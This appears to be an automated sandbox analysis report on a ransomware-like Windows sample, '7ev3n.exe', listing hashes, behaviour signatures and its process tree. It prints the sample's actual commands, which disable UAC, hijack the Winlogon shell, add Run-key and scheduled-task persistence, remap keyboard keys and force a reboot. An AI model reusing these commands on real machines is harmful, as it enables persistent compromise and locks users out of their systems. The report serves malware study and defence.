Analysis

  • max time kernel
    23s
  • max time network
    29s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-11-2024 01:29

Errors

Reason
Machine shutdown

General

  • Target

    7ev3n.exe

  • Size

    315KB

  • MD5

    9f8bc96c96d43ecb69f883388d228754

  • SHA1

    61ed25a706afa2f6684bb4d64f69c5fb29d20953

  • SHA256

    7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5

  • SHA512

    550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6

  • SSDEEP

    6144:BswDdb2MemnBVlz0SoVbO4A6OA4Trl28TyT6llY1/I8cWJWlfTXv:BswRSslz0P1OdFXJlJ8buXv

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 15 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ev3n.exe
    "C:\Users\Admin\AppData\Local\Temp\7ev3n.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Users\Admin\AppData\Local\system.exe
      "C:\Users\Admin\AppData\Local\system.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4860
      • C:\Windows\SysWOW64\SCHTASKS.exe
        C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1868
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3464
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
          4⤵
          • Modifies WinLogon for persistence
          • System Location Discovery: System Language Discovery
          PID:464
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3308
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:3604
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2184
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3208
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
          4⤵
          • System Location Discovery: System Language Discovery
          PID:856
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2228
      • C:\windows\SysWOW64\cmd.exe
        C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
          4⤵
          • UAC bypass
          • System Location Discovery: System Language Discovery
          PID:1744
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2172
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4292
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Windows\SysWOW64\shutdown.exe
          shutdown -r -t 10 -f
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4824
  • C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\FILES_BACK.txt
    1⤵
    • Opens file in notepad (likely ransom note)
    PID:3084
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa38e1855 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:2268

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\del.bat

    Filesize

    65B

    MD5

    f727ee128a7eeb23b9c3242b049e61ef

    SHA1

    a260ee1e7c05377830130163737c7609598d61ee

    SHA256

    98bfdb556f8e8a2564cadfd0c62fff7b81b3a70a4f7e03a86f704fabd5d3c884

    SHA512

    c59a537dbd2349d0f29b6596d35c387fbb76a2cde16fddee04c3d861221c2a7a9ef1af67577a63a80523ec4fc079cc64090e3e86544730bf9cdac2ca122a9c0e

  • C:\Users\Admin\AppData\Local\system.exe

    Filesize

    315KB

    MD5

    fd0c78682162e845dbdae90bcee0ce6d

    SHA1

    e51798bbf181e60163084c69712b6ed5ce818cdc

    SHA256

    67b97552e0372aba4904533ef81f44d781c60e46cc5ad8749872734c44275a5a

    SHA512

    8ad20fa86718172a0e15af1527dbfacf13a50dc05d9ba29452208a9e186906544aff7ac1eace62863b9b9a45914bdb1114fc9ccb76f3b658cf1c035578fe2e1e

  • C:\Users\Admin\Desktop\FILES_BACK.txt

    Filesize

    81B

    MD5

    414a6626aa5c9ad7ed01f47911dbbe67

    SHA1

    52c11224c6c5e3c9564a2a7760fb81a18f409a6f

    SHA256

    78e8a93a233bca93ead02d7554ea47625d576d57ad6cddc3d2953218db01502f

    SHA512

    f677b8e6c6aca9232111ee4455443a64d7807d2fec6feba3cbb22e1f2418b3e32f3784e446eb6ec7c9f00829683d6473d4f35e18800386f020e11f912f7f209d